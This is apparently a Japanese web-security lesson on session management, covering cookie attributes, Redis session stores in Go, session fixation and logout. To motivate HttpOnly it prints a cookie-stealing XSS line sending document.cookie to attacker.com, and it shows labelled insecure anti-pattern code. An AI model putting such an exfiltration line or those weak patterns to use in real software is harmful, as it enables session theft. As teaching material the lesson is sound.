2-2. セッション管理 - Cookie 属性とセッションストア

所要時間: 40-60分(がっつりなら2セッション分) ゴール: Cookie の全属性を実務判断つきで設定でき、セッション固定攻撃を防げる。Go で Redis セッションストアを実装できる コミット内容: ~/learn/security/day-session/ に Cookie 検証コードとセッションサーバー


前章とのつながり

このレッスンの位置づけ

前章 2-1 JWT対比する 回。両者は「ログイン状態をどう運ぶか」の代表選択肢で、性質が真逆。

観点JWT (前章)セッション (本章)
状態の置き場所クライアント側のトークンサーバー側のストア
失効難しい(短命 + ブラックリスト)即時(ストアから消すだけ)
スケールサーバー間で状態共有不要ストアを共有する必要あり
第一選択マイクロサービス、SPA、モバイル単一サービスのWebアプリ
  • 次章 SSRF: Cookie ベースのセッションは CSRF 攻撃を考えなければならない。本章で SameSite を理解しておくと次章が楽

実害シーン: セッション周りの事故

  • メルカリ (2017): 一時 Cookie 取り扱いミスで他人のアカウントにログインしたまま入れる事象 → サービス停止
  • 某SaaS: ログアウト時にサーバー側ストアを消し忘れ、退職者が依然としてアクセス可能
  • 古いPHP/CGIサイト: セッションID が URL に出る(PHPSESSID=...)→ Referer 経由で漏洩
  • Wi-Fi + HTTP: Cookie に Secure 属性なし → カフェでセッション奪取(Firesheep 事案)

大前提: セッションとは何か、なぜ JWT より「枯れている」のか

HTTP はステートレスです。1回のリクエストごとに「あなた誰?」を聞き直さないと、サーバーはユーザーを区別できない。

セッションは、その問題を解決する古典的かつ最も枯れた方式:

  1. ログイン成功時、サーバーがランダムなID(セッションID)を発行
  2. それを Cookie でブラウザに渡す
  3. ブラウザは次回以降、自動でその Cookie を付けてリクエスト
  4. サーバーは Cookie の ID で「これは誰のセッションか」をサーバー側のストアから引く

JWT が「自己完結する署名付きトークン」なのに対し、セッションは「ID だけ渡して、本体はサーバーが持つ」 方式。実装は単純で、ログアウト即時反映・権限変更即時反映が容易。

「Webアプリで普通にログインを作る」なら、セッションは今でも第一選択。Rails の cookie_store、Django の django.contrib.sessions、Laravel の session など、有名フレームワークの認証はすべてこの方式が基本。

しかし、Cookie の属性を1つ間違えるだけで:

  • XSS で全ユーザーのセッションを奪取される(HttpOnly なし)
  • CSRF で全ユーザーが攻撃者の操作を実行させられる(SameSite なし)
  • HTTPS なしで盗聴される(Secure なし)

このレッスンでは Cookie の各属性の意味と、セッションストアの選び方を実務レベルで詰める。


ログイン成功時、サーバーが返すレスポンスヘッダ:

HTTP/1.1 200 OK
Set-Cookie: session_id=abc123xyz; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=86400

各属性が「セキュリティの最後の砦」。順に見ていく。

2. HttpOnly - JavaScript からのアクセスを禁止

Set-Cookie: session_id=abc123; HttpOnly

HttpOnly の本質

JavaScript(document.cookie)からこの Cookie を 見えなくする 属性。

これが無いと何が起きるか: サイトに XSS が1箇所でもあると、攻撃者の JS が走った瞬間

fetch('https://attacker.com?c=' + document.cookie);

でセッション ID 全部抜かれる → 攻撃者がそのまま被害者としてログイン状態を再現できる。

HttpOnly が付いていれば document.cookie には現れないので、XSS が起きてもセッションは盗まれない

ただし HttpOnly は「XSS の被害を限定する」ものであって「XSS の発生を防ぐ」ものではない。XSS 自体は XSS レッスン で対策する。

HttpOnly なし = 事故予備軍

自社サービスで Set-Cookie を直接書いている箇所があるなら、今すぐ HttpOnly が付いているか確認する。フレームワーク経由ならデフォルトで付いているはずだが、自前実装は要注意。

3. Secure - HTTPS でしか送信しない

Set-Cookie: session_id=abc123; Secure

Secure の本質

ブラウザがこの Cookie を HTTPS 通信でしか送信しない よう指示する属性。

無い場合、ユーザーが http:// で同サイトにアクセスすると、平文で Cookie が流れる → Wi-Fi 盗聴や中間者攻撃でセッション漏洩。

本番(公開 Web サービス)は HTTPS が当然なので、Secure は常に付ける。開発環境(localhost)では Secure が付いていると Cookie が送られないので、環境変数で切り替える実装が多い。

// 開発と本番で切り替え
secure := os.Getenv("ENV") == "production"
http.SetCookie(w, &http.Cookie{
    Name:     "session_id",
    Value:    sid,
    HttpOnly: true,
    Secure:   secure,
    SameSite: http.SameSiteLaxMode,
    Path:     "/",
})

4. SameSite - クロスサイト送信の制御

挙動用途
Strict別サイトからの遷移時には一切送らない銀行など最も厳しいケース
Laxトップレベルナビゲーション(リンククリック)の GET だけ送る。POST は送らない現在のデフォルト、多くのケースで適切
None常に送る(要 Secure)クロスサイト埋め込みが必要な広告/iframe

SameSite の歴史と現在

2020年の Chrome 80 から、SameSite を指定しない Cookie は自動的に Lax 扱いになった(それまでは None 同等)。

これによって多くの CSRF 攻撃が事実上自動防御されるようになった。リンククリックで開いた銀行サイトは Cookie が送られるが、攻撃サイトからの POST リクエストには Cookie が付かない。

実務的な推奨:

  • 通常のログイン Cookie: SameSite=Lax(迷ったらこれ)
  • 決済・銀行・管理画面など最高セキュリティ: SameSite=Strict
  • クロスサイト埋め込みが必須(決済 iframe など): SameSite=None; Secure(必ず Secure とセット)

CSRF レッスン でさらに掘り下げる。

SameSite=None には必ず Secure を

ブラウザは SameSite=NoneSecure なしでは拒否する。SameSite=None を選ぶならその時点で本番 HTTPS 前提。

5. Path / Domain / Max-Age / Expires

Set-Cookie: session_id=abc; Path=/; Domain=example.com; Max-Age=86400

Path / Domain の本質

  • Path=/ : このサイトのどのパスでも Cookie を送る(普通はこれ)
  • Path=/admin : /admin/* のリクエストでしか送らない
  • Domain=example.com : サブドメインを含めて送る(api.example.com でも www.example.com でも)
  • Domain 指定なし: その正確なホスト名のみ

落とし穴: Domain=example.com と書くと「example.com とそのサブドメイン全部」に送られる。共有サブドメインに XSS があると Cookie が漏洩する範囲が広がる。必要最小限の指定が原則。

Max-Age vs Expires

  • Max-Age : 秒数。Max-Age=86400 で 24時間
  • Expires : 絶対時刻 (Expires=Wed, 21 Oct 2026 07:28:00 GMT)
  • Max-Age がモダン、Expires はレガシー。両方付ければ Max-Age が優先
  • どちらも指定しない場合: ブラウザを閉じると消える「セッション Cookie」(混乱しやすい命名)
Set-Cookie: session_id=abc123xyz;
            Path=/;
            HttpOnly;
            Secure;
            SameSite=Lax;
            Max-Age=86400

「全部入り」の意味

  • HttpOnly: XSS でセッション奪取を防ぐ
  • Secure: HTTPS だけで送る
  • SameSite=Lax: CSRF をデフォルト防御
  • Max-Age=86400: 1日で自動失効(適切な範囲を設定)
  • Path=/: アプリ全体で使う

この4属性を欠かさず付けるのがセッション Cookie の基本。フレームワークがデフォルトで付けてくれるか確認する癖を。

7. アンチパターン: HttpOnly / Secure / SameSite を付け忘れる

危険な Cookie 設定

// NG: 何も指定していない
http.SetCookie(w, &http.Cookie{
    Name:  "session_id",
    Value: sid,
})

なぜNGか:

  • HttpOnly なし → XSS でセッション奪取
  • Secure なし → http で送信される可能性、盗聴リスク
  • SameSite なし → ブラウザによって挙動が変わる(Chrome は Lax、Safari は None 相当の挙動が残っている時期があった)

既存コードで &http.Cookie{Name:..., Value:...} の3行しか書いていない箇所は全部リスク。

アンチパターン: URL にセッションID

https://example.com/page?sid=abc123xyz

なぜNGか: URL は Referer ヘッダで外部サイトに漏れる、ブラウザ履歴に残る、共有時にコピペで漏れる。Cookie で運ぶのが鉄則。昔の Java EE / PHP では jsessionid を URL に入れる仕様があったが、現在は禁忌


セッション②: セッションストアと攻撃対策(30分)

8. セッションストアの選択

「セッション ID と本体(ユーザー情報)の対応」をどこに置くか。

ストア速度永続性複数サーバー対応用途
プロセスメモリ最速アプリ再起動で消失NG開発用、単一サーバー
Redis / Memcached速い永続化設定で残るOK本番の第一選択
RDB (MySQL/Postgres)遅め永続OK監査要件あり、低トラフィック
Cookie 本体に格納サーバー不要クライアント次第OKRails の cookie_store(要署名・暗号化)

Redis が本命の理由

セッションは典型的に:

  • TTL(生存期間)が必要 → Redis の EXPIRE が天才的に便利
  • 読み書きが頻繁 → メモリベースで超高速
  • 複数 Web サーバー間で共有が必要 → ネットワーク越しに使える

AWS なら ElastiCache for Redis、GCP なら Memorystore、self-hosted なら素の Redis でOK。

プロセスメモリ保存の罠

// NG: 単一プロセスのメモリにセッション
var sessions = map[string]Session{}

なぜNGか:

  • サーバー再起動で全ユーザーがログアウト
  • 複数台にロードバランスすると、サーバーをまたいで動くと「ログインしてない扱い」
  • メモリリーク(古いセッションを消す処理を自前で書く必要)

学習用ならOKだが、本番では Redis などに移す。

9. セッション固定攻撃と再生成

セッション固定攻撃(Session Fixation) の流れ:

1. 攻撃者が自分のセッションID(abc123)をサイトから取得
2. 被害者にそのIDを「埋め込んだ」リンクを踏ませる
   例: https://example.com/?session_id=abc123  ← URL でIDを渡す古い実装が前提
   または XSS で Cookie をセット
3. 被害者がそのIDのまま正常にログイン
4. 攻撃者は abc123 を使えば被害者のアカウントにアクセスできる

防御: ログイン成功時にセッション ID を必ず再生成

// ログイン成功時
oldSID := getSessionID(r)
store.Delete(oldSID)                // 古いやつを破棄
newSID := generateSecureRandomID()  // 新規発行
store.Save(newSID, userInfo)
setCookie(w, "session_id", newSID)

「ログインのセッションIDは、ログインと必ず違う」これがセッション固定攻撃の根本対策。

Rails では reset_session、PHP では session_regenerate_id(true) に相当。

10. ログアウトの実装

// 適切なログアウト
func logout(w http.ResponseWriter, r *http.Request) {
    sid, err := getSessionIDFromCookie(r)
    if err == nil {
        store.Delete(sid) // サーバー側でも破棄
    }
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    "",
        Path:     "/",
        MaxAge:   -1, // 即削除
        HttpOnly: true,
        Secure:   true,
        SameSite: http.SameSiteLaxMode,
    })
}

アンチパターン: クライアントの Cookie だけ消すログアウト

// NG: サーバー側のセッションが残る
func logout(w http.ResponseWriter, r *http.Request) {
    http.SetCookie(w, &http.Cookie{Name: "session_id", MaxAge: -1})
    // store.Delete(sid) を呼んでいない
}

なぜNGか: ユーザーは「ログアウトした」と思っているが、攻撃者が事前に奪った同じ session_id を使えばまだログイン状態で操作できる。サーバー側のセッション本体を破棄しないと意味がない

11. 複数デバイスログアウト

「全デバイスからログアウト」「乗っ取られたかも、全部切る」機能の作り方:

方式A: ユーザーIDをキーに、そのユーザーの全セッションIDをセットで持つ
  user:42:sessions = ["abc", "def", "xyz"]
  ログアウト時にこのセットを全部消す

方式B: ユーザーごとに session_version を持つ
  ログイン中のセッションは検証時に version を比較
  「全ログアウト」は version をインクリメントするだけ

実用上の選び方

  • 単純実装: 方式A(Redis の Set 型でユーザーごとに sid 集合を管理)
  • 大規模: 方式B(巨大なセット操作を避ける)
  • 監査ログ重視: セッションテーブルに user_id, sid, created_at, last_seen_at, user_agent, ip を保存。Spotify などのデバイス管理画面はこれ

12. Go で Redis セッションを書く(最小実装)

package main
 
import (
    "context"
    "crypto/rand"
    "encoding/hex"
    "encoding/json"
    "net/http"
    "time"
 
    "github.com/redis/go-redis/v9"
)
 
type Session struct {
    UserID    string    `json:"user_id"`
    CreatedAt time.Time `json:"created_at"`
}
 
var rdb = redis.NewClient(&redis.Options{Addr: "localhost:6379"})
var ctx = context.Background()
 
func newSessionID() string {
    b := make([]byte, 32) // 256bit
    _, _ = rand.Read(b)   // crypto/rand なので予測不可
    return hex.EncodeToString(b)
}
 
func saveSession(sid string, s Session) error {
    data, _ := json.Marshal(s)
    return rdb.Set(ctx, "sess:"+sid, data, 24*time.Hour).Err()
}
 
func loadSession(sid string) (*Session, error) {
    data, err := rdb.Get(ctx, "sess:"+sid).Bytes()
    if err != nil {
        return nil, err
    }
    var s Session
    if err := json.Unmarshal(data, &s); err != nil {
        return nil, err
    }
    return &s, nil
}
 
func deleteSession(sid string) error {
    return rdb.Del(ctx, "sess:"+sid).Err()
}
 
func loginHandler(w http.ResponseWriter, r *http.Request) {
    // ここで認証成功した前提
 
    // 既存セッションがあれば破棄(固定攻撃対策)
    if old, err := r.Cookie("session_id"); err == nil {
        _ = deleteSession(old.Value)
    }
 
    sid := newSessionID()
    _ = saveSession(sid, Session{UserID: "user-42", CreatedAt: time.Now()})
 
    http.SetCookie(w, &http.Cookie{
        Name:     "session_id",
        Value:    sid,
        Path:     "/",
        HttpOnly: true,
        Secure:   true,
        SameSite: http.SameSiteLaxMode,
        MaxAge:   86400,
    })
}

このコードのポイント

  • crypto/rand を使用(math/rand は予測可能、絶対 NG)
  • 256bit のセッションID(推測不可能な長さ)
  • ログイン時に既存セッション破棄 → セッション固定攻撃防止
  • Cookie 4属性すべて指定
  • Redis に TTL 設定(自動失効)

アンチパターン: math/rand でセッションID

// NG: math/rand は予測可能
import "math/rand"
rand.Seed(time.Now().Unix())
sid := fmt.Sprintf("%d", rand.Int63())

なぜNGか: math/rand は決定論的疑似乱数。シード値が分かれば未来の値を予測できる。さらに time.Now().Unix() でシードしているのは典型的弱さ(攻撃者が時刻からシードを推測)。乱数は必ず crypto/rand

13. JWT との比較(再確認)

項目セッションJWT
サーバー側状態必要(ストア)不要
失効即時可能困難(短命設計が基本)
横展開(マイクロサービス)DB / Redis 共有が必要公開鍵検証で楽
サイズ短い(ID だけ)長い(JSON 全体)
クライアント保存HttpOnly Cookie 一択Cookie or(注意して)localStorage
実装難易度低い(フレームワーク標準)中(脆弱性多数)

判断指針:

  • モノリス Web アプリ → セッション
  • マイクロサービス / モバイル / OIDC → JWT
  • 「ログアウト即時反映」が必須 → セッション

練習課題

mkdir -p ~/learn/security/day-session
cd ~/learn/security/day-session
docker run -d --name dev-redis -p 6379:6379 redis:7
  1. 上記 Go コードで簡易ログインサーバーを作り、curl -vSet-Cookie を観察
  2. HttpOnly Secure SameSite がそれぞれ含まれているか確認
  3. ブラウザの DevTools → Application → Cookies で同じ属性が見えるか確認
  4. ログイン → ログアウト → 同じ Cookie 値で再アクセスして「セッションが切れている」ことを確認
  5. ログイン2回連続で行い、毎回 session_id が変わることを確認(固定攻撃対策の動作確認)
  6. Redis CLI で KEYS "sess:*" を打って、保存されたセッションを直接見る

締め: git で証跡を残す

cd ~/learn/security/day-session
git init
git add main.go go.mod go.sum
echo ".env" > .gitignore
git add .gitignore
git commit -m "feat(security): セッション管理を Redis で実装、固定攻撃対策込み"

チェックリスト

  • HttpOnly / Secure / SameSite / Path / Domain の意味と効果を全部言える
  • SameSite=Lax がデフォルトになった経緯と CSRF への効果を説明できる
  • セッション固定攻撃の流れと、ログイン時の ID 再生成で防げる理由を説明できる
  • セッションストアの選択肢(メモリ / Redis / DB / Cookie 本体)の長短を語れる
  • crypto/rand で十分長いセッション ID を生成できる
  • ログアウト時にサーバー側ストアの破棄を忘れないコードが書ける
  • 複数デバイスログアウトの2方式を説明できる
  • セッション vs JWT を要件から選び分けられる

詰まった時のチートシート

やりたいことコード
全属性付きの Cookie&http.Cookie{HttpOnly:true, Secure:true, SameSite:http.SameSiteLaxMode, Path:"/"}
Cookie 即削除MaxAge: -1
安全な乱数IDb := make([]byte,32); rand.Read(b); hex.EncodeToString(b)
Redis に TTL 付き保存rdb.Set(ctx, key, val, 24*time.Hour)
セッション再生成旧 sid を Delete → 新 sid を Save → Cookie 上書き
全デバイスログアウトuser:id:sessions の Set を全削除

「実務OK」基準

  • Set-Cookie を見たら HttpOnly / Secure / SameSite が付いているか即チェックできる
  • セッション固定攻撃を口頭で説明し、防御コードを書ける
  • math/randcrypto/rand の違いを即座に言える
  • Redis での TTL 付き Set/Get/Del が書ける
  • ログアウト処理で「サーバー側ストアを消し忘れる」事故を避けられる

さらに深掘りするなら

  • RFC 6265 (HTTP State Management Mechanism) - Cookie 仕様の原典
  • OWASP Session Management Cheat Sheet - 業界標準のチェックリスト
  • Rails の ActionDispatch::Session::CookieStore ソース - 署名・暗号化された Cookie の実装例
  • gorilla/sessions のソース - Go の代表的セッションライブラリ
  • Chrome SameSite-by-Default の Web.dev 記事 - 2020年の変更詳細

メタ認知: 自分の理解度を診断する

30秒セルフテスト

  1. HttpOnly, Secure, SameSite の3属性の役割を それぞれ1文
  2. SameSite StrictLax の違い
  3. セッション固定攻撃の 防御の1行 はどのタイミングで何をする?
  4. math/rand をセッションIDに使ってはいけない理由
  5. JWT とセッション、マイクロサービスなら どちらを選ぶ?

詰まったら → セッション①の Cookie 属性一覧と、セッション②の固定攻撃シーケンスを再読。

次のレッスン

2-3 CSRF と SSRF で、クロスサイト系の攻撃(CSRF・SSRF)と Cookie・SameSite の関係をさらに詰める。

間隔反復ポイント

Cookie 属性は 新規プロジェクトの最初の設定 で何度も書く。1ヶ月後に「詰まった時のチートシート」を眺める習慣で、設定をミスらない体になる。